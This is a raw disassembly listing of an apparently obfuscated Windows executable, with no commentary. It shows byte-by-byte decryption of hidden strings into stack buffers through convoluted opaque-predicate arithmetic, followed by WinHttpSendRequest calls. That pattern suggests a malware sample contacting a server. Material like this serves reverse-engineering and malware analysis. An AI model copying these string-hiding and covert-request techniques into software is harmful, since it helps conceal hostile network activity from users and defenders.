je 0x140150587
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14015024e
lea rbx, [r10 + 9]
lea r10, [rbx + 0x5a]
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x140150ade
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x140150abf
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x14015043a
lea rax, [r10 + 0x20]
cmp rbx, rax
jb 0x14015041d
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jb 0x1401503ff
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x14015056d
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x140150553
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x140150545
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14015051e
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14015024e
lea rbx, [r10 + 0x400]
lea r10, [rbx + 0x10]
lea rax, [r10 + 1]
cmp rbx, rax
ja 0x140150510
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401504f5
lea rax, [r10 + 0x64]
cmp rbx, rax
ja 0x1401504db
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x1401504cd
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401504b9
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x14015049f
lea rax, [r10 + 0x3e8]
cmp rbx, rax
ja 0x140150491
lea rax, [r10 + 0xa]
cmp rbx, rax
ja 0x140150472
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x140150458
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14015024e
lea rbx, [r10 + 0x42]
lea r10, [rbx + 5]
jmp 0x14015024e
lea edx, [r9 - 0x78]
mov al, r8b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x140150241
lea edx, [r9 + 0x58]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x68
add dil, dl
jmp 0x1401501e1
add r9b, 0x28
mov al, r8b
and al, r9b
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x18
add dil, r9b
jmp 0x14015017c
lea edx, [r9 - 0x40]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x40
jmp 0x140150990
sub r9b, 0x70
mov al, r8b
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x1401509b1
add r9b, 0x60
mov ecx, Ordinal_50
jmp 0x14015062b
lea edx, [r9 + 0x30]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x50
jmp 0x1401509d4
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
jmp 0x1401509f8
sub r9b, 0x30
mov ecx, Ordinal_41
jmp 0x1401505d6
lea edx, [r9 - 0x60]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
jmp 0x140150910
add r9b, 0x70
mov al, r8b
and al, r9b
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x1401505ab
add r9b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x140150740
add r9b, 0x48
mov al, r8b
and al, r9b
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
mov byte [rbp + r11 + 0x110], dil
jmp 0x140150ab7
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
jmp 0x1401506f5
lea edx, [r9 - 0x18]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x58
jmp 0x1401506d2
lea edx, [r9 - 0x48]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
jmp 0x14015069c
sub r9b, 0x30
mov ecx, Ordinal_41
jmp 0x140150740
sub r9b, 0x60
mov al, r8b
and al, r9b
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x60
add dil, r9b
jmp 0x140150a5c
lea edx, [r9 + 0x70]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x10
jmp 0x140150910
add r9b, 0x40
mov ecx, reloc.WLDAP32.dll_Ordinal_32
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x1401509fb
add r9b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x70
jmp 0x1401509f8
lea edx, [r9 - 0x20]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x20
jmp 0x1401509d4
sub r9b, 0x50
mov ecx, Ordinal_27
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x1401509b4
add r9b, 0x80
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x80
jmp 0x1401509b1
lea edx, [r9 + 0x50]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x140150990
lea rax, [r10 + 0x80]
cmp rbx, rax
jae 0x14015072e
lea edx, [r9 - 0x68]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x28
add dil, dl
lea rax, [r10 + rbx]
cmp rax, 0x1000
je 0x1401508fd
lea rax, [r10 + 0x20]
cmp rbx, rax
jbe 0x1401507d4
lea edx, [r9 + 0x38]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp rbx, 6
jae 0x1401508e6
lea rax, [r10 + 0x7a]
cmp rbx, rax
jbe 0x140150839
lea edx, [r9 - 0x50]
mov ecx, Ordinal_27
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
cmp r10, 1
jb 0x140150538
lea edx, [r9 - 0x70]
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x140150993
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x140150756
sub r9b, 0x10
mov ecx, Ordinal_60
mov al, r8b
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140150aa8
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x140150779
lea edx, [r9 + 0x50]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x30
jmp 0x140150910
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14015079e
add r9b, 0x80
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x80
jmp 0x1401509fb
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140150608
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14015069f
add r9b, 0x10
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x70
jmp 0x1401509b4
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401507eb
lea edx, [r9 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x140150983
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140150810
sub r9b, 0x38
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x78
jmp 0x1401509b4
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401506d5
add r9b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x68
jmp 0x1401509fb
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14015085e
sub r9b, 0x20
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x20
jmp 0x140150aa8
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x140150882
lea edx, [r9 + 0x40]
mov al, r8b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x140150910
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401508a7
sub r9b, 0x60
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x60
jmp 0x1401509f8
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401508cb
lea edx, [r9 - 0x30]
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x1401509d4
lea rax, [r10 + 8]
cmp rbx, rax
jne 0x140150705
lea edx, [r9 + 0x60]
mov ecx, Ordinal_50
jmp 0x140150983
lea edx, [r9 - 0x40]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x40
jmp 0x1401508c3
lea edx, [r9 - 0x10]
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140150a2f
sub r9b, 0x68
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x28
jmp 0x1401509fb
add r9b, 0x68
mov al, r8b
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x1401509f8
add r9b, 8
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x38
jmp 0x1401509b4
lea edx, [r9 - 0x58]
mov ecx, 0x34
jmp 0x140150983
mov r9b, r11b
lea edx, [r9 + 0x48]
mov ecx, 4
mov al, r8b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
add r9b, 0x28
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, r9b
mov byte [rbp + r11 + 0x110], r8b
inc r10
dec r11
jmp 0x140150ab7
mov r9b, r11b
lea edx, [r9 - 0x48]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 8
add dil, dl
add r9b, 0x58
mov al, r8b
and al, r9b
add al, al
sub r8b, al
sub r8b, 0x68
add r8b, dil
add r8b, r9b
mov byte [rbp + r11 + 0x110], r8b
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
jmp 0x140150ab7
movabs rax, 0x15f20d294b8da928
add rax, r11
and sil, al
add sil, sil
sub al, sil
lea edi, [r8 + rax]
sub dil, 0x18
mov r9b, r11b
sub r9b, 0x78
mov al, r8b
and al, r9b
mov ecx, 0x24
sub cl, al
add cl, cl
add cl, r8b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x110], al
inc r10
add rax, r10
sub r11, rax
lea edx, [r11 + 0x20]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r11 + 0x110], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
jmp 0x140150aa8
movabs rax, 0x967bc7f6985dac8
add rax, r11
and sil, al
add sil, sil
sub al, sil
lea edi, [r8 + rax]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x110]
add rax, r10
add r11, rax
inc r11
jmp 0x140150166
sub r9b, 8
mov al, r8b
and al, r9b
mov ecx, Ordinal_32
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, r9b
jmp 0x140150163
sub r9b, 0x38
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
sub dil, 0x78
jmp 0x140150153
lea rdx, [rbp + 0x14fab30]
jmp 0x140150b13
lea rdx, [rbp + 0xd19ec8]
jmp 0x140150b13
lea rdx, [rbp + 0x110]
lea r8, [rbp + 0x4d8]
lea rcx, [rbp - 0x10]
call fcn.1400dc204
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp - 0x30]
call fcn.1400dc138
nop
lea r8, [rbp + 0x4f8]
mov rdx, rax
lea rcx, [rbp + 0xf0]
call fcn.140057c30
nop
mov r8, r15
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.1400dc138
nop
lea r8, [rbp + 0x598]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140057c30
nop
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.1400dc138
nop
lea r8, [rbp + 0x4d8]
mov rdx, rax
lea rcx, [rbp + 0x190]
call fcn.140057c30
nop
mov r8, r13
mov rdx, rax
lea rcx, [rbp + 0x1b0]
call fcn.1400dc138
nop
lea r8, [rbp + 0x578]
mov rdx, rax
lea rcx, [rbp + 0x1d0]
call fcn.140057c30
nop
mov r8, qword [rsp + 0x68]
mov rdx, rax
lea rcx, [rbp + 0x538]
call fcn.1400dc138
nop
lea rcx, [rbp + 0x1d0]
call fcn.140051c9c
nop
lea rcx, [rbp + 0x1b0]
call fcn.140051c9c
nop
lea rcx, [rbp + 0x190]
call fcn.140051c9c
nop
lea rcx, [rsp + 0x70]
call fcn.140051c9c
nop
lea rcx, [rbp - 0x70]
call fcn.140051c9c
nop
lea rcx, [rbp - 0x50]
call fcn.140051c9c
nop
lea rcx, [rbp + 0xf0]
call fcn.140051c9c
nop
lea rcx, [rbp - 0x30]
call fcn.140051c9c
nop
lea rcx, [rbp - 0x10]
call fcn.140051c9c
mov r15d, dword [rbp + 0x548]
lea r12, [rbp + 0x538]
cmp qword [rbp + 0x550], 0xf
cmova r12, qword [rbp + 0x538]
mov byte [rbp + 0x390], 0x53
mov byte [rbp + 0x391], __WSAFDIsSet
mov byte [rbp + 0x392], 5
mov byte [rbp + 0x393], Ordinal_143
mov byte [rbp + 0x394], Ordinal_27
mov byte [rbp + 0x395], Ordinal_143
mov byte [rbp + 0x396], Ordinal_33
mov byte [rbp + 0x397], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x398], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x399], Ordinal_143
mov byte [rbp + 0x39a], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x39b], 0x83
mov byte [rbp + 0x39c], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x39d], 0x81
mov byte [rbp + 0x39e], 0x53
mov byte [rbp + 0x39f], 0x87
mov byte [rbp + 0x3a0], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x3a1], 0x85
mov byte [rbp + 0x3a2], ntohs
mov byte [rbp + 0x3a3], 0x7b
mov byte [rbp + 0x3a4], 0xea
mov byte [rbp + 0x3a5], 0x79
mov byte [rbp + 0x3a6], 0xe3
mov byte [rbp + 0x3a7], 0x7f
mov byte [rbp + 0x3a8], 0xb0
mov byte [rbp + 0x3a9], 0x7d
mov byte [rbp + 0x3aa], 0x9c
mov byte [rbp + 0x3ab], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x3ac], Ordinal_217
mov byte [rbp + 0x3ad], WSAStartup
mov byte [rbp + 0x3ae], 0xe0
mov byte [rbp + 0x3af], 0x77
mov byte [rbp + 0x3b0], 0xe6
mov byte [rbp + 0x3b1], 0x75
mov byte [rbp + 0x3b2], 0xe8
mov byte [rbp + 0x3b3], WSASetLastError
mov byte [rbp + 0x3b4], 0xf5
mov byte [rbp + 0x3b5], WSAGetLastError
mov byte [rbp + 0x3b6], Ordinal_211
mov byte [rbp + 0x3b7], reloc.WS2_32.dll_WSAGetLastError
mov byte [rbp + 0x3b8], 0xc9
mov byte [rbp + 0x3b9], WSAStartup
mov byte [rbp + 0x3ba], 0xf8
mov byte [rbp + 0x3bb], 0x63
mov byte [rbp + 0x3bc], 0xfd
mov byte [rbp + 0x3bd], 0x61
mov byte [rbp + 0x3be], 0xf1
mov byte [rbp + 0x3bf], 0x67
mov byte [rbp + 0x3c0], 0xf4
mov byte [rbp + 0x3c1], 0x65
mov byte [rbp + 0x3c2], 0xb5
mov byte [rbp + 0x3c3], 0x5b
mov byte [rbp + 0x3c4], Ordinal_200
mov byte [rbp + 0x3c5], 0x59
mov byte [rbp + 0x3c6], Ordinal_211
mov byte [rbp + 0x3c7], 0x5f
mov byte [rbp + 0x3c8], Ordinal_211
mov byte [rbp + 0x3c9], 0x5d
mov byte [rbp + 0x3ca], Ordinal_211
mov byte [rbp + 0x3cb], 0x53
mov byte [rbp + 0x3cc], 0xa1
mov byte [rbp + 0x3cd], 0x51
mov byte [rbp + 0x3ce], 0xae
mov byte [rbp + 0x3cf], 0x57
mov byte [rbp + 0x3d0], 0x56
mov byte [rbp + 0x3d1], 0x55
xor eax, eax
mov qword [rbp + 0x3d2], rax
mov dword [rbp + 0x3da], eax
mov word [rbp + 0x3de], ax
mov dil, byte [rsp + 0x40]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
xor r9d, r9d
cmp r9, 0x50
jae 0x140151589
movzx r8d, byte [rbp + r9 + 0x390]
mov edx, r8d
cmp rbx, r9
ja 0x140151580
lea r11, [r10 + 1]
cmp rbx, r11
jae 0x140150ea5
movabs rcx, 0xcda49afedd946f6d
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
add dil, 5
lea rcx, [r10 + 5]
jmp 0x140150ed2
je 0x140151528
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401514fc
lea rcx, [r10 + 5]
cmp rbx, rcx
je 0x1401514e1
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401514c6
cmp r10, r9
ja 0x140151577
lea rax, [r10 + 0x64]
cmp rbx, rax
jae 0x140150efb
lea ecx, [r9 - 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x69
jmp 0x140150f27
cmp rbx, r11
je 0x140151488
lea rax, [r10 + 3]
cmp rbx, rax
je 0x140151470
cmp rbx, rcx
je 0x140151455
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401513de
mov r11b, r9b
lea r14, [r10 + rbx]
cmp r14, r9
jbe 0x14015115c
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14015113e
lea rax, [r10 + 0x400]
cmp rbx, rax
je 0x14015111f
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x140151100
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401510e2
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x200]
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x14015155b
lea rax, [r10 + 9]
cmp rbx, rax
jb 0x14015102e
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x140151011
lea rax, [r10 + 0x64]
cmp rbx, rax
jb 0x1401510a3
lea rax, [r10 + 6]
mov r11b, r9b
cmp rbx, rax
jb 0x140150f37
mov rbx, rax
lea r10, [rax + 6]
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x140151089
lea rax, [r10 + 0x7a]
cmp rbx, rax
ja 0x14015107e
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x140151063
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x140151048
lea rax, [r10 + 0x1000]
cmp rbx, rax
ja 0x140150f37
mov rbx, rax
lea r10, [rax + 0x1000]
jmp 0x140150f37
mov r11b, r9b
lea ecx, [r11 + 0x2f]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x49
jmp 0x140150f2a
lea ecx, [r9 + 0x7b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5d
jmp 0x140150e6c
lea edx, [r9 - 0x2c]
mov al, dl
and al, r8b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140151136
lea edx, [r9 + 0x20]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140151117
lea edx, [r9 - 0x6e]
mov ecx, 1
jmp 0x1401510eb
lea ecx, [r9 - 0x48]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 8
jmp 0x140151544
lea ecx, [r9 - 0x43]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2b
cmp r10, 0x61
jb 0x14015137d
lea ecx, [r9 + 0x6e]
mov al, cl
and al, r8b
add al, al
sub cl, al
add cl, r8b
lea edi, [rcx*2 - 4]
mov r11b, r9b
jmp 0x1401514a3
lea edx, [r9 - 0x34]
mov ecx, gethostname
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x140151424
add r11b, 0x3e
mov al, r11b
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r8b
jmp 0x1401514f7
sub r11b, 0x76
mov al, r11b
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r8b
jmp 0x1401514dc
lea edx, [r11 - 0x2a]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x1401514a3
lea rdx, [r10 + 1]
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x1401511ed
lea ecx, [r9 + 0x6d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 5
lea r11, [r10 + 2]
lea rsi, [r10 + 3]
cmp r14, 0x3e8
je 0x1401513c6
lea rax, [r10 + 0x3e8]
cmp rbx, rax
jbe 0x140151259
lea ecx, [r9 - 7]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x31
cmp rbx, 8
jae 0x14015138a
lea rcx, [r10 + 8]
cmp rbx, rcx
jbe 0x1401512dd
lea ecx, [r9 - 0x16]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x66
jmp 0x1401510b8
cmp rbx, rdx
jne 0x14015120c
lea ecx, [r9 - 0x1e]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2e
jmp 0x140151544
lea r11, [r10 + 2]
cmp rbx, r11
jne 0x140151232
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
mov r11b, r9b
jmp 0x1401513f9
lea rsi, [r10 + 3]
cmp rbx, rsi
jne 0x14015118a
lea ecx, [r9 + 0x4a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 6
jmp 0x1401514f7
cmp rbx, rdx
jne 0x140151278
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x1401510da
cmp rbx, r11
jne 0x140151297
lea ecx, [r9 - 0x79]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4f
jmp 0x1401514dc
cmp rbx, rsi
jne 0x1401512b6
lea ecx, [r9 + 0x61]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x59
jmp 0x1401513a1
lea rax, [r10 + 9]
cmp rbx, rax
jne 0x1401511bc
lea ecx, [r9 - 0x5d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x75
jmp 0x140151544
cmp rbx, rdx
jne 0x1401512fc
lea ecx, [r9 - 0x3c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x5c
jmp 0x140151544
cmp rbx, r11
jne 0x14015131b
lea ecx, [r9 - 0x62]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x52
jmp 0x140151424
cmp rbx, rsi
jne 0x14015133a
lea ecx, [r9 + 0x52]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x3e
jmp 0x140151518
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x14015135a
lea ecx, [r9 + 6]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x2a
jmp 0x1401513a1
cmp rbx, rcx
jne 0x1401510b8
lea ecx, [r9 - 0x6c]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0xc
jmp 0x1401510da
mov byte [rbp + r9 + 0x390], dil
jmp 0x140151553
lea edx, [r9 + 0x48]
mov al, r8b
and al, dl
mov cl, r8b
sub cl, al
add cl, 4
lea edi, [rcx + rcx]
add dil, dl
lea ecx, [r9 - 0x4b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
add r8b, 0xd
add r8b, dil
add r8b, cl
mov byte [rbp + r9 + 0x390], r8b
jmp 0x1401514f7
lea edx, [r9 + 0x22]
mov al, r8b
and al, dl
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
mov r11b, r9b
jmp 0x1401513f6
mov r11b, r9b
lea edx, [r11 - 0x19]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
sub dil, 0x51
add dil, dl
sub r11b, 0x71
mov al, r8b
and al, r11b
add al, al
mov cl, r8b
sub cl, al
add cl, 0x17
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x390], al
inc r10
add rax, r10
sub r9, rax
lea edx, [r9 - 4]
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohl
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x390], cl
inc rbx
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x140151544
lea ecx, [r9 + 0xd]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x5b
jmp 0x140151518
lea ecx, [r9 + 0x7f]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x79
jmp 0x1401514dc
mov r11b, r9b
lea edx, [r11 - 0x35]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x73
add dil, dl
sub r11b, 0x25
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, 3
add r8b, r11b
mov byte [rbp + r9 + 0x390], r8b
inc r10
jmp 0x1401514dc
lea ecx, [r9 + 0x63]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x4b
dec r9
jmp 0x140151553
lea ecx, [r9 - 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x37
add rbx, r10
jmp 0x140151518
movabs rax, 0x3ac972f5ca37ead5
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
add dil, 0x2d
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x140151553
movabs rax, 0x68edd0fc98bd4e47
add rax, r9
and dl, al
add dl, dl
sub r8b, dl
lea edi, [rax + r8]
add dil, 0xf
movzx eax, byte [rbp + r9 + 0x390]
add rax, r10
add r9, rax
inc r9
jmp 0x140150e56
sub r11b, 0x39
mov al, r8b
and al, r11b
add al, al
sub r8b, al
lea edi, [r11 + r8]
sub dil, 0x71
jmp 0x140150e43
lea rdx, [rbp + 0x17ae0cc]
jmp 0x140151590
lea rdx, [rbp + 0x4f5039]
jmp 0x140151590
lea rdx, [rbp + 0x390]
and qword [rsp + 0x30], 0
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r15d
mov r9, r12
or r8d, 0xffffffff
mov rbx, qword [rsp + 0x48]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x1401515c4
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
nop
mov rdx, qword [rbp + 0x550]
mov ebx, 0x1000
cmp rdx, 0xf
jbe 0x140151629
inc rdx
mov rcx, qword [rbp + 0x538]
mov rax, rcx
cmp rdx, rbx
jb 0x140151624
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140151624
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401582ac
movdqu xmmword [rbp + 0x548], xmm6
mov byte [rbp + 0x538], 0
mov rdx, qword [rbp + 0x590]
cmp rdx, 0xf
jbe 0x140151678
inc rdx
mov rcx, qword [rbp + 0x578]
mov rax, rcx
cmp rdx, rbx
jb 0x140151673
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140151673
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1401582ac
movdqu xmmword [rbp + 0x588], xmm6
mov byte [rbp + 0x578], 0
mov rdx, qword [rbp + 0x4f0]
cmp rdx, 0xf
jbe 0x1401516c7
inc rdx
